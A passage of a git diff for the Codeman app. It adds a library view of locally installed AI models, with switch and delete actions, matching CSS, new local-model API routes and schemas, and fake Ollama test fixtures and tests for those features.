localModelEl('div', 'lm-lib-foot'); + const notes = localModelEl('div', 'lm-lib-notes'); + const store = install.store; + if (store && Number(store.bytes) > 0 && store.gb) { + notes.appendChild( + localModelEl('p', 'lm-aside', localModelT('Downloaded models use {size} GB on this Mac.', { size: store.gb })) + ); + } + // Only the runtime deletes a model: with it stopped, the rows offer none, and this says why. + if (install.state === 'installed' && install.running !== true && rows.length > 1) { + notes.appendChild(localModelEl('p', 'lm-aside', localModelT('Press Start to delete a single model.'))); + } + if (notes.childElementCount) foot.appendChild(notes); + if (install.state === 'installed' && install.actions.includes('install') && this._localModelSelection()) { + const add = localModelButton(localModelT('Add a model'), { + key: 'add', + disabled: ui.busy, + onClick: () => this.chooseLocalModel(), + }); + add.classList.add('lm-btn-row'); + foot.appendChild(add); + } + if (foot.childElementCount) section.appendChild(foot); + return section; + }, + + /** A Delete question in place: the question, what it frees, Cancel and the red Delete. */ + _localModelAskEl({ question, detail, onYes }) { + const ui = this._localModelWindowState(); + const ask = localModelEl('div', 'lm-lib-ask'); + ask.setAttribute('role', 'group'); + const text = localModelEl('div', 'lm-lib-ask-text'); + text.appendChild(localModelEl('p', 'lm-lead', question)); + if (detail) text.appendChild(localModelEl('p', 'lm-aside', detail)); + ask.appendChild(text); + const buttons = localModelEl('div', 'lm-lib-actions'); + const no = localModelButton(localModelT('Cancel'), { + key: 'delete-no', + disabled: ui.busy, + onClick: () => this.keepLocalModelEntry(), + }); + no.classList.add('lm-btn-row'); + const yes = localModelButton(localModelT('Delete'), { + key: 'delete-yes', + danger: true, + disabled: ui.busy, + onClick: onYes, + }); + yes.classList.add('lm-btn-row'); + buttons.appendChild(no); + buttons.appendChild(yes); + ask.appendChild(buttons); + return ask; + }, + + /** + * Nothing is installed and the model store still holds downloads (an earlier Remove kept + * them): what they take on disk and "Delete them", asked once in place. `null` unless the + * server offers that removal. + */ + _localModelStoreEl(install) { + const ui = this._localModelWindowState(); + const store = install.store; + if (install.state !== 'idle' || !install.actions.includes('remove')) return null; + if (!store || !(Number(store.bytes) > 0) || !store.gb) return null; + if (ui.confirmDelete === LOCAL_MODEL_STORE_KEY) { + const box = localModelEl('div', 'lm-leftovers'); + box.appendChild( + this._localModelAskEl({ + question: localModelT('Delete the downloaded models from this Mac?'), + detail: localModelT('This frees {size} GB.', { size: store.gb }), + onYes: () => void this.deleteLocalModelStore({ confirmed: true }), + }) + ); + return box; + } + const box = localModelEl('div', 'lm-leftovers lm-lib-foot'); + box.appendChild( + localModelEl( + 'p', + 'lm-aside', + localModelT('Models from an earlier install still use {size} GB on this Mac.', { size: store.gb }) + ) + ); + const remove = localModelButton(localModelT('Delete them'), { + key: 'store-delete', + disabled: ui.busy, + onClick: () => void this.deleteLocalModelStore(), + }); + remove.classList.add('lm-btn-row'); + box.appendChild(remove); + return box; + }, + /** Arrow keys, Home and End move the selection of the radio group, and the focus with it. */ _onLocalModelListKey(event) { const selection = this._localModelSelection(); @@ -1397,9 +1711,18 @@ Object.assign(CodemanApp.prototype, { const paused = screen === 'paused'; const model = install.model ? String(install.model.label || install.model.id || '') : ''; const parts = []; - const title = paused - ? localModelT('The install of {model} is paused', { model }) - : localModelT('Installing {model}', { model }); + // A switch to a model that is on this Mac already downloads nothing, and says so in its name. + const switching = localModelIsSwitch(install); + let title; + if (switching) { + title = paused + ? localModelT('The switch to {model} is paused', { model }) + : localModelT('Switching to {model}', { model }); + } else { + title = paused + ? localModelT('The install of {model} is paused', { model }) + : localModelT('Installing {model}', { model }); + } parts.push(localModelEl('p', 'lm-title', title)); // The download bar takes the place of the memory bar, for as long as something downloads. @@ -1414,19 +1737,26 @@ Object.assign(CodemanApp.prototype, { return parts; } - // What waits or goes on is the download while there is one, the install after it. + // What waits or goes on is the download while there is one, the install (or the switch) after it. const downloading = !!meter; let note; - if (paused) { + if (paused && switching) { + note = localModelT('The switch waits until you continue.'); + } else if (paused) { note = downloading ? localModelT('The download waits until you continue.') : localModelT('The install waits until you continue.'); + } else if (switching) { + note = localModelT('You can close this window. The switch continues while Codeman is running.'); } else { note = downloading ? localModelT('You can close this window. The download continues while Codeman is running.') : localModelT('You can close this window. The install continues while Codeman is running.'); } parts.push(localModelEl('p', 'lm-aside', note)); + // A paused job that has a checked model beside it: the way back to that model. + const library = paused ? this._localModelLibraryEl(install, { onlyWithActions: true }) : null; + if (library) parts.push(library); const notice = this._localModelNoticeEl(); if (notice) parts.push(notice); @@ -1548,6 +1878,9 @@ Object.assign(CodemanApp.prototype, { parts.push(this._localModelRemoveEl()); return parts; } + // A checked model beside the one that stopped: the way back to it. + const library = this._localModelLibraryEl(install, { onlyWithActions: true }); + if (library) parts.push(library); const notice = this._localModelNoticeEl(); if (notice) parts.push(notice); @@ -1641,13 +1974,17 @@ Object.assign(CodemanApp.prototype, { const tools = this._localModelDeveloperToolsEl(); if (tools) parts.push(tools); const notice = this._localModelNoticeEl(); - if (notice) parts.push(notice); const can = (action) => install.actions.includes(action); const next = error ? this._localModelNextButton(install, error) : null; // The screen that ends an install has one button. Stop and Remove are for the window // opened later (or for this one once anything else was said in it). const ending = ui.justInstalled === true && can('start-session') && !error && !notice; + // Everything that is on this Mac, what it takes on disk, and the way to another model. + // Not on the screen that ends an install: that one says one thing. + const library = ending ? null : this._localModelLibraryEl(install); + if (library) parts.push(library); + if (notice) parts.push(notice); const foot = localModelEl('div', 'lm-foot'); const buttons = localModelEl('div', 'lm-buttons'); if (!ending && can('remove') && error?.next !== 'remove') { @@ -1703,6 +2040,8 @@ Object.assign(CodemanApp.prototype, { if (hw) parts.push(hw); const reason = localModelMessage(status.recommendation.headline); if (reason) parts.push(localModelEl('p', 'lm-reason', reason)); + const leftovers = this._localModelStoreEl(localModelInstall(status)); + if (leftovers) parts.push(leftovers); const notice = this._localModelNoticeEl(); if (notice) parts.push(notice); const foot = localModelEl('div', 'lm-foot'); diff --git a/src/web/public/mobile.css b/src/web/public/mobile.css index 9a8c3a384..56fe902ef 100644 --- a/src/web/public/mobile.css +++ b/src/web/public/mobile.css @@ -1887,6 +1887,11 @@ html.mobile-init .file-browser-panel { justify-content: flex-end; } + /* A screen with the list of models scrolls from its top. */ + .local-model-window > .lm-body[data-long='true'] { + justify-content: flex-start; + } + /* Ralph wizard responsive */ .modal-wizard { display: flex; @@ -4339,6 +4344,61 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close { grid-column: 3; } + /* The models on this Mac: the name and its size, then the state and what can be done. */ + .lm-lib-list { + grid-template-columns: minmax(0, 1fr) auto; + column-gap: 0.7rem; + } + + .lm-lib-caption-label { + grid-column: 1; + } + + .lm-lib-caption-size { + grid-column: 2; + } + + .lm-lib-row { + row-gap: 0.15rem; + padding-top: 0.45rem; + padding-bottom: 0.45rem; + } + + .lm-lib-name { + grid-row: 1; + grid-column: 1; + padding: 0; + } + + .lm-lib-size { + grid-row: 1; + grid-column: 2; + } + + .lm-lib-tag { + grid-row: 2; + grid-column: 1; + } + + .lm-lib-actions { + grid-row: 2; + grid-column: 2; + } + + .lm-lib-ask { + margin-inline: 0.7rem; + } + + .lm-lib-foot { + flex-wrap: wrap; + } + + /* A row's buttons keep their own size: they sit in the row, not under the thumb. */ + .local-model-window .wt-btn.lm-btn.lm-btn-row { + min-height: 36px; + font-size: 0.8rem; + } + .lm-foot { flex-direction: column; align-items: stretch; diff --git a/src/web/public/styles.css b/src/web/public/styles.css index af663547e..2c952ce28 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22467,6 +22467,13 @@ html[data-skin='rose-pine-dawn'] { padding-bottom: 2.2rem; } +/* A screen that carries the list of models is no short screen: it starts at the + top and scrolls, or its first lines would be cut off above the frame. */ +.local-model-window > .lm-body[data-long='true'] { + justify-content: flex-start; + padding-bottom: 1.2rem; +} + /* The foot of the frame: the buttons of the screen (or the Remove question), outside the part that scrolls. */ .local-model-window > .lm-foot-slot { @@ -22808,7 +22815,9 @@ html[data-skin='rose-pine-dawn'] { .lm-model-tag { display: flex; + flex-wrap: wrap; justify-content: flex-start; + gap: 0.25rem; } /* A tag says one thing about a row, in the colour of what it says. */ @@ -22844,6 +22853,29 @@ html[data-skin='rose-pine-dawn'] { color: var(--lm-orange); } +/* The states of a model that is on this Mac: in use takes the feature's own + colour, ready is good, a changed or missing one is a warning. A model that + was never checked keeps the quiet tag. */ +.lm-tag-inuse { + background: color-mix(in srgb, var(--lm-brand) 20%, transparent); + color: var(--lm-brand); +} + +.lm-tag-ready { + background: color-mix(in srgb, var(--lm-good) 15%, transparent); + color: var(--lm-good); +} + +.lm-tag-changed { + background: color-mix(in srgb, var(--lm-amber) 15%, transparent); + color: var(--lm-amber); +} + +.lm-tag-missing { + background: color-mix(in srgb, var(--lm-orange) 15%, transparent); + color: var(--lm-orange); +} + .lm-model-speed, .lm-model-size { text-align: end; @@ -23218,6 +23250,176 @@ html[data-skin='rose-pine-dawn'] { accent-color: var(--lm-brand); } +/* ── the models on this Mac ───────────────────────────────────────── */ +/* Name with its context, state, size on disk, and what can be done with the + row. One grid like the chooser's, so the sizes line up down the list. The + model in use wears the chooser's selected look: it is the one that runs. */ +.lm-library { + display: flex; + flex-direction: column; + gap: 0.55rem; +} + +.lm-lib-list { + display: grid; + grid-template-columns: minmax(0, max-content) minmax(0, 1fr) auto auto; + column-gap: 0.75rem; + row-gap: 0.1rem; + margin-inline: calc(-0.7rem - 2px) -0.7rem; +} + +.lm-lib-caption, +.lm-lib-row { + display: grid; + grid-column: 1 / -1; + grid-template-columns: subgrid; + align-items: center; + padding: 0 0.7rem; + border-inline-start: 2px solid transparent; +} + +.lm-lib-caption { + padding-bottom: 0.3rem; + font-size: 0.7rem; + color: var(--text-dim); +} + +.lm-lib-caption-label { + grid-column: 1 / span 2; +} + +.lm-lib-caption-size { + grid-column: 3; + text-align: end; +} + +.lm-lib-row { + min-height: 2.9rem; + border-radius: 9px; +} + +.lm-lib-row-on { + border-inline-start-color: var(--lm-brand); + background: linear-gradient( + 90deg, + color-mix(in srgb, var(--lm-brand) 17%, transparent), + color-mix(in srgb, var(--lm-brand) 4%, transparent) + ); +} + +.lm-lib-name { + display: flex; + flex-direction: column; + min-width: 0; + padding: 0.35rem 0; +} + +.lm-lib-label { + font-size: 0.86rem; + font-weight: 600; + line-height: 1.35; + color: var(--text); + overflow-wrap: anywhere; +} + +.lm-lib-meta { + font-size: 0.7rem; + line-height: 1.4; + color: var(--text-dim); + font-variant-numeric: tabular-nums; +} + +.lm-lib-tag { + display: flex; + justify-content: flex-start; +} + +.lm-lib-size { + text-align: end; + white-space: nowrap; + font-size: 0.8rem; + font-weight: 560; + color: var(--text); + font-variant-numeric: tabular-nums; +} + +.lm-lib-actions { + display: flex; + flex-shrink: 0; + justify-content: flex-end; + gap: 0.35rem; +} + +/* While a row's Delete question is open its buttons keep their room, unseen: + the sizes above and below must not jump sideways. */ +.lm-lib-actions-away { + visibility: hidden; +} + +/* The buttons of a row are a size smaller than the buttons of the screen. */ +.local-model-window .wt-btn.lm-btn.lm-btn-row { + padding: 0.28rem 0.65rem; + font-size: 0.74rem; +} + +/* The Delete question of one row, in place under it: the row is what it is about. */ +.lm-lib-ask { + display: flex; + grid-column: 1 / -1; + flex-wrap: wrap; + align-items: center; + justify-content: space-between; + gap: 0.5rem 1rem; + margin: 0.1rem 0.7rem 0.4rem; + padding: 0.6rem 0.75rem; + border: 1px solid var(--border); + border-radius: 9px; +} + +.lm-lib-ask-text { + display: flex; + flex-direction: column; + gap: 0.1rem; + min-width: 0; +} + +/* Under the list: what all downloads take on disk, and the way to another model. */ +.lm-lib-foot { + display: flex; + align-items: center; + justify-content: space-between; + gap: 0.5rem 1rem; +} + +.lm-lib-notes { + display: flex; + flex-direction: column; + gap: 0.15rem; + min-width: 0; +} + +/* Nothing installed, and an earlier Remove kept its downloads. */ +.lm-leftovers .lm-lib-ask { + margin-inline: 0; +} + +/* A browser without subgrid: fixed tracks keep the columns in line. */ +@supports not (grid-template-columns: subgrid) { + .lm-lib-list { + display: block; + } + + .lm-lib-caption, + .lm-lib-row { + grid-template-columns: minmax(0, 12rem) minmax(0, 1fr) 4.5rem minmax(0, auto); + column-gap: 0.75rem; + } + + .lm-lib-row { + margin-top: 0.1rem; + } +} + /* ── the foot: one promise on the left, the action on the right ──── */ .lm-foot { display: flex; @@ -23293,6 +23495,10 @@ html[data-skin='rose-pine-dawn'] { min-height: 2.9rem; } + .local-model-window .wt-btn.lm-btn.lm-btn-row { + min-height: 36px; + } + .lm-select { min-height: 36px; } diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index 2cd8bc6a9..f7d63a4c4 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -6,15 +6,19 @@ * |----------------------------------|-----------------------------|------------------------------------------------| * | `GET /api/local-model` | none | `{ hardware, recommendation, catalogUpdated, install }` | * | `POST /api/local-model/install` | `LocalModelInstallRequest` | the install view; 400, 409 | + * | `POST /api/local-model/use` | `LocalModelUseRequest` | the install view; 400, 409 | * | `POST /api/local-model/cancel` | none | the install view; 409 | * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | the install view; 409 | * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 | * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 | + * | `DELETE /api/local-model/models` | `LocalModelDeleteRequest` | the install view; 400, 409, 500 | * * The GET is built from the hardware probe, the catalogue, the harness facts and the pure * `recommend()`, plus the `install` object of the install service - * (`LocalModelService.view()`). Nothing is reformatted here: every size text and every - * sentence in the payload was chosen by the modules that produced it. There is no SSE event: + * (`LocalModelService.view()`). The one thing joined here: a row of the recommendation that is + * a checked model of the library is marked (`Candidate.library`, by `markLibraryCandidates()`). + * Nothing is reformatted: every size text and every sentence in the payload was chosen by the + * modules that produced it. There is no SSE event: * the window polls the GET once a second while it is open. * * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model routes"): the routes and @@ -45,9 +49,12 @@ * or of the endpoint store that was refused (a file that does not parse) is a 409 without * `data`, with the fix. * - The verbs do the work in the install service; this file only gates, parses and maps. - * `DELETE`, `runtime` and `resume` look at the live sessions: they hand their names to the - * service, which refuses a removal, a stop and a change of port while one of them still - * uses the model. + * `DELETE /api/local-model`, `runtime`, `resume`, `install` and `use` look at the live + * sessions: they hand their names to the service, which refuses a removal, a stop, a change + * of port, another model and a switch while one of them still uses the model. + * - `DELETE /api/local-model/models` takes a model NAME in its body, never a path: the schema + * admits only `name:tag`, and the service deletes only a name of its own listing, through + * the runtime. * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and * does not need a Mac: it passes its own hardware, harness facts and service. */ @@ -83,16 +90,19 @@ import { buildHarnessFacts } from '../../local-model/harness-facts.js'; import { formatInstallMessage, getLocalModelService, + markLibraryCandidates, type LocalModelActor, type LocalModelService, type LocalModelVerbResult, } from '../../local-model/install-job.js'; import { recommend } from '../../local-model/recommend.js'; import { + LocalModelDeleteSchema, LocalModelInstallSchema, LocalModelRemoveSchema, LocalModelResumeSchema, LocalModelRuntimeSchema, + LocalModelUseSchema, } from '../schemas.js'; import { SettingsWriteRefusedError, settingsWriteErrorResponse } from '../settings-writer.js'; @@ -156,7 +166,7 @@ export interface LocalModelConflictResponse { data: LocalModelConflict; } -/** The 400 (or 507) of a verb the service refused with a sentence: the error envelope plus that sentence as `data`. */ +/** The 400 (or 500, or 507) of a verb the service refused with a sentence: the error envelope plus that sentence as `data`. */ export interface LocalModelRefusalResponse { success: false; /** The sentence in English, its slots filled. */ @@ -251,8 +261,12 @@ export function registerLocalModelRoutes( // The measured budget once the runtime reported it, and the runtime download that an // install would still add: what turns the estimate into the figures of the consent. const options = await service.recommendOptions(); - const recommendation = resolved.recommend(hardware, catalog, harnessFacts, options); const install = await service.view(); + // A row that is already a checked model on this Mac says so: choosing it is a switch. + const recommendation = markLibraryCandidates( + resolved.recommend(hardware, catalog, harnessFacts, options), + install + ); return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated, install } }; } catch (err) { reply.code(500); @@ -268,7 +282,17 @@ export function registerLocalModelRoutes( const denied = adminOnly(req, reply); if (denied) return denied; const body = parseBody(LocalModelInstallSchema, req.body); - return runVerb(reply, () => resolved.service().install(body, actorOf(req))); + // Asked at the moment of the request: another model takes the runtime from a live session. + const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values()); + return runVerb(reply, () => resolved.service().install(body, actorOf(req), sessionNames)); + }); + + app.post('/api/local-model/use', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelUseSchema, req.body); + const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values()); + return runVerb(reply, () => resolved.service().use(body, actorOf(req), sessionNames)); }); app.post('/api/local-model/cancel', async (req, reply): Promise => { @@ -303,4 +327,11 @@ export function registerLocalModelRoutes( const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values()); return runVerb(reply, () => resolved.service().remove(body, sessionNames, actorOf(req))); }); + + app.delete('/api/local-model/models', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelDeleteSchema, req.body); + return runVerb(reply, () => resolved.service().deleteLibraryModel(body, actorOf(req))); + }); } diff --git a/src/web/schemas.ts b/src/web/schemas.ts index 5fb327c35..33c2063ef 100644 --- a/src/web/schemas.ts +++ b/src/web/schemas.ts @@ -2505,6 +2505,12 @@ export const LocalModelRuntimeSchema = z /** DELETE /api/local-model. The body may be empty. */ export const LocalModelRemoveSchema = z.object({ removeModel: z.boolean().optional() }).strict(); +/** POST /api/local-model/use: a checked model of the library to switch to. */ +export const LocalModelUseSchema = z.object({ modelId: localModelId }).strict(); + +/** DELETE /api/local-model/models: one model of the store, by its name. Never a path. */ +export const LocalModelDeleteSchema = z.object({ modelId: localModelId }).strict(); + /** * A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` — * duplicated rather than imported, since the REAL safety boundary for anything built from diff --git a/test/fixtures/fake-ollama.ts b/test/fixtures/fake-ollama.ts index 3b889027b..912b3fed3 100644 --- a/test/fixtures/fake-ollama.ts +++ b/test/fixtures/fake-ollama.ts @@ -18,6 +18,7 @@ * | `GET /api/ps` | the model once a chat loaded it (`size`, `size_vram`, `context_length`) | * | `POST /api/pull` | NDJSON progress, see `FakePullSwitches` | * | `DELETE /api/delete` | 200, or 404 for a model that is not installed | + * | | (the model, or one of `otherModels`) | * | `GET /v1/models` | the model's id, or `data: null` when none is installed (as the real one) | * | `POST /v1/chat/completions` | a plain answer, or a tool call when the request carries `tools` | * | `GET /download/ollama-darwin.tgz` | a small real `.tgz` with Range support, see `FakeArchiveSwitches` | @@ -220,6 +221,14 @@ export interface FakeOllamaOptions { spawn?: Partial; /** The files of the fake runtime archive, name to content. Default: one executable `ollama` script. */ archiveFiles?: Record; + /** + * More models the registry has beside `model`: each can be pulled (a short stream that + * succeeds), listed, loaded, checked and deleted on its own. The pull, chat and tool + * switches apply to them too, except the pull's failures and shapes, which are `model`'s. + */ + otherModels?: FakeOllamaModel[]; + /** The ids of `otherModels` that are on disk from the start. */ + othersInstalled?: string[]; } export interface CapturedRequest { @@ -304,6 +313,10 @@ export interface FakeOllama { archiveRequests: number; /** Every child `spawn` made, oldest first. */ children: FakeRuntimeChild[]; + /** The ids of `otherModels` that are on disk: pulled, or installed from the start. */ + others: string[]; + /** The id of the model the last chat loaded. The runtime holds one model at a time. */ + loadedId?: string; }; /** The fake runtime archive: a real gzipped tar. */ readonly archive: { readonly body: Buffer; readonly size: number; readonly sha256: string }; @@ -436,7 +449,26 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama { pulls: 0, archiveRequests: 0, children: [], + others: [...(options.othersInstalled ?? [])], + }; + const otherModels = options.otherModels ?? []; + /** One of `otherModels` by its id, whether it is on disk or not. */ + const otherModel = (id: unknown): FakeOllamaModel | undefined => otherModels.find((other) => other.id === id); + /** The model `id` names when it is on disk: `model` or one of the others. */ + const onDisk = (id: unknown): FakeOllamaModel | undefined => { + if (id === model.id) return state.installed ? model : undefined; + const other = otherModel(id); + return other && state.others.includes(other.id) ? other : undefined; }; + const tagRow = (entry: FakeOllamaModel): Record => ({ + name: entry.id, + model: entry.id, + modified_at: '2026-11-06T15:10:02.465346347+01:00', + size: entry.bytes, + digest: entry.digest, + details: { ...modelDetails(), format: entry.format, context_length: 262144, runner: entry.runner }, + capabilities: entry.capabilities, + }); const requests: CapturedRequest[] = []; const sockets = new Set(); let server: Server | undefined; @@ -475,6 +507,18 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama { }; if (!(await line({ status: 'pulling manifest' }))) return; + // One of the other models: a short stream that succeeds. + const other = otherModel(askedId); + if (other && pull.fail !== 'not-found') { + const layer = { status: 'pulling model', digest: 'sha256:other', total: other.bytes }; + if (!(await line({ ...layer, completed: 0 }))) return; + if (!(await line({ ...layer, completed: other.bytes }))) return; + if (!(await line({ status: 'writing manifest' }))) return; + if (!state.others.includes(other.id)) state.others.push(other.id); + await line({ status: 'success' }); + res.end(); + return; + } // Not captured on a Mac: the wording of the runtime for a tag the registry does not have. if (pull.fail === 'not-found' || askedId !== model.id) { await line({ error: 'pull model manifest: file does not exist' }); @@ -528,7 +572,8 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama { function handleChat(res: ServerResponse, body: unknown): void { const request = (body as { model?: unknown; tools?: unknown } | undefined) ?? {}; - if (!state.installed || request.model !== model.id) { + const served = onDisk(request.model); + if (!served) { sendJson(res, 404, { error: { message: `model '${String(request.model)}' not found`, @@ -544,7 +589,7 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama { id: `chatcmpl-${chatCounter++}`, object: 'chat.completion', created: 1793968038, - model: model.id, + model: served.id, system_fingerprint: 'fp_ollama', choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }], usage: { @@ -563,12 +608,18 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama { }); return; } - if (switches.ps.loaded !== false) state.loaded = true; + if (switches.ps.loaded !== false) { + state.loaded = true; + state.loadedId = served.id; + } sendJson(res, 200, envelope({ content: 'pong' }, 'stop')); return; } - if (switches.ps.loaded !== false) state.loaded = true; + if (switches.ps.loaded !== false) { + state.loaded = true; + state.loadedId = served.id; + } const fn = (tools[0] as { function?: { name?: unknown; parameters?: { properties?: unknown } } }).function ?? {}; const name = typeof fn.name === 'string' ? fn.name : 'tool'; const properties = (fn.parameters?.properties ?? {}) as Record; @@ -648,60 +699,67 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama { } if (path === '/api/version' && method === 'GET') return sendJson(res, 200, { version }); if (path === '/api/tags' && method === 'GET') { - const models = state.installed + const models = [ + ...(state.installed ? [tagRow(model)] : []), + ...otherModels.filter((other) => state.others.includes(other.id)).map(tagRow), + ]; + return sendJson(res, 200, { models }); + } + if (path === '/api/ps' && method === 'GET') { + // The runtime holds ONE model: the one the last chat loaded. + const held = state.loaded && switches.ps.loaded !== false ? onDisk(state.loadedId ?? model.id) : undefined; + const size = switches.ps.size ?? (held ?? model).bytes + 100_000_000; + const models = held ? [ { - name: model.id, - model: model.id, - modified_at: '2026-11-06T15:10:02.465346347+01:00', - size: model.bytes, - digest: model.digest, - details: { ...modelDetails(), context_length: 262144, runner: model.runner }, - capabilities: model.capabilities, + name: held.id, + model: held.id, + size, + digest: held.digest, + details: modelDetails(), + expires_at: '2026-11-06T15:20:09.488045+01:00', + size_vram: switches.ps.sizeVram ?? size, + context_length: switches.ps.contextLength ?? contextLength, + runner: held.runner, }, ] : []; return sendJson(res, 200, { models }); } - if (path === '/api/ps' && method === 'GET') { - const size = switches.ps.size ?? model.bytes + 100_000_000; - const models = - state.installed && state.loaded && switches.ps.loaded !== false - ? [ - { - name: model.id, - model: model.id, - size, - digest: model.digest, - details: modelDetails(), - expires_at: '2026-11-06T15:20:09.488045+01:00', - size_vram: switches.ps.sizeVram ?? size, - context_length: switches.ps.contextLength ?? contextLength, - runner: model.runner, - }, - ] - : []; - return sendJson(res, 200, { models }); - } if (path === '/api/pull' && method === 'POST') return handlePull(res, body); if (path === '/api/delete' && method === 'DELETE') { // Not captured: the answers of a delete (200 with no body, 404 with an error text). const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {}; const askedId = typeof asked.model === 'string' ? asked.model : asked.name; + const other = otherModel(askedId); + if (other && state.others.includes(other.id)) { + state.others = state.others.filter((id) => id !== other.id); + if (state.loadedId === other.id) { + state.loaded = false; + state.loadedId = undefined; + } + res.writeHead(200); + res.end(); + return; + } if (!state.installed || askedId !== model.id) { return sendJson(res, 404, { error: `model '${String(askedId)}' not found` }); } state.installed = false; state.loaded = false; + state.loadedId = undefined; state.completedBytes = 0; res.writeHead(200); res.end(); return; } if (path === '/v1/models' && method === 'GET') { - const data = state.installed - ? [{ id: model.id, object: 'model', created: 1793967749, owned_by: 'library' }] - : null; + const ids = [ + ...(state.installed ? [model.id] : []), + ...otherModels.filter((other) => state.others.includes(other.id)).map((other) => other.id), + ]; + const data = + ids.length > 0 ? ids.map((id) => ({ id, object: 'model', created: 1793967749, owned_by: 'library' })) : null; return sendJson(res, 200, { object: 'list', data }); } if (path === '/v1/chat/completions' && method === 'POST') return handleChat(res, body); diff --git a/test/local-model-install-e2e.test.ts b/test/local-model-install-e2e.test.ts index f87a5261f..ab654705d 100644 --- a/test/local-model-install-e2e.test.ts +++ b/test/local-model-install-e2e.test.ts @@ -345,7 +345,7 @@ describe('the install from the first GET to Remove, real modules over a fake run endpointId: 'local-ollama', folder: world.paths.root, loaded: { context: pick.context, onGpu: true }, - actions: ['start-session', 'stop', 'remove'], + actions: ['start-session', 'stop', 'install', 'remove'], runtime: { installed: true, downloadBytes: 0, downloadGb: formatGb(0) }, }); @@ -682,6 +682,154 @@ describe('the install from the first GET to Remove, real modules over a fake run }, 60_000); }); +describe('the library: a second model, the switch back, and the delete of one model', () => { + it('installs A, adds B beside it, switches back to A, and deletes B, with one model in use throughout', async () => { + const { app, get, settled, install: clickInstall } = await routes(); + const hostsModels = async () => + (await readCustomModelHosts(getDataDir())).find((host) => host.id === 'local-ollama')?.models; + const post = (url: string, payload: unknown) => app.inject({ method: 'POST', url, payload: payload as object }); + const deleteModel = (modelId: string) => + app.inject({ method: 'DELETE', url: '/api/local-model/models', payload: { modelId } }); + + // ---- A: the first install ---- + world.agentInstalled = true; + const first = await get(); + const a = first.recommendation.pick!; + const bRow = first.recommendation.alternatives[0]; + expect(bRow).toBeDefined(); + expect(bRow.modelId).not.toBe(a.modelId); + const B_DIGEST = 'b'.repeat(64); + world.runtime = createFakeOllama({ + model: { id: a.modelId, bytes: a.downloadBytes }, + contextLength: a.context, + otherModels: [ + { + id: bRow.modelId, + bytes: bRow.downloadBytes, + digest: B_DIGEST, + format: 'gguf', + runner: 'ggml', + quantization: 'Q4_K_M', + capabilities: ['completion', 'tools'], + }, + ], + }); + const runtime = world.runtime; + expect((await clickInstall(a)).statusCode).toBe(200); + expect((await settled()).state).toBe('installed'); + + let status = await get(); + expect(status.install.library).toEqual([ + { + id: a.modelId, + label: a.modelLabel, + context: a.context, + sizeBytes: a.downloadBytes, + sizeGb: formatGb(a.downloadBytes), + active: true, + verified: true, + status: 'ready', + actions: [], + }, + ]); + // The store of the fake runtime writes no blobs: measured, and empty. + expect(status.install.store).toEqual({ bytes: 0, gb: '0.0' }); + // The chooser says the row is the model in use. + expect(status.recommendation.pick?.library).toBe('active'); + expect(status.install.actions).toEqual(['start-session', 'stop', 'install', 'remove']); + + // ---- B: a second model. Refused while a session uses A. ---- + const b = [status.recommendation.pick!, ...status.recommendation.alternatives].find( + (row) => row.modelId === bRow.modelId + )!; + // The runtime is on disk now, so the server's total for B is the model alone. + expect(b.installBytes).toBe(b.downloadBytes); + const addB = { modelId: b.modelId, cli: 'opencode', context: b.context, acknowledgedBytes: b.installBytes }; + world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }); + const busy = await post('/api/local-model/install', addB); + expect(busy.statusCode).toBe(409); + expect(busy.json().data).toMatchObject({ reason: 'sessions-open', sessions: ['w1-app'] }); + expect(runtime.state.pulls).toBe(1); + world.sessions.clear(); + + // The fake runtime reports the context it was "started with": B's from here on. + runtime.switches.ps.contextLength = b.context; + const started = await post('/api/local-model/install', addB); + expect(started.statusCode).toBe(200); + expect(started.json().data).toMatchObject({ state: 'installing', model: { id: b.modelId } }); + const withB = await settled(); + expect(withB.error).toBeUndefined(); + expect(withB).toMatchObject({ + state: 'installed', + model: { id: b.modelId, label: b.modelLabel }, + context: b.context, + endpointId: 'local-ollama', + }); + // Both are on disk, A was not deleted, and the ONE endpoint record lists the model in use. + expect(runtime.state.installed).toBe(true); + expect(runtime.state.others).toEqual([b.modelId]); + expect(await hostsModels()).toEqual([b.modelId]); + expect(runtime.requests.some((request) => request.path === '/api/delete')).toBe(false); + await vi.waitFor(async () => { + const library = (await get()).install.library; + expect(library.map((row) => [row.id, row.active, row.status, row.actions])).toEqual([ + [b.modelId, true, 'ready', []], + [a.modelId, false, 'ready', ['use', 'delete']], + ]); + }); + const stored = await readLocalModelState(); + expect(stored.library?.map((entry) => [entry.id, entry.context, entry.digest])).toEqual([ + [a.modelId, a.context, runtime.model.digest], + [b.modelId, b.context, B_DIGEST], + ]); + // Only the model in use may be launched on the endpoint. + expect(await world.service.launchRefusalMessage('local-ollama', b.modelId)).toBeUndefined(); + expect(await world.service.launchRefusalMessage('local-ollama', a.modelId)).toContain('is in use on this Mac'); + + // ---- The model in use cannot be deleted ---- + const active = await deleteModel(b.modelId); + 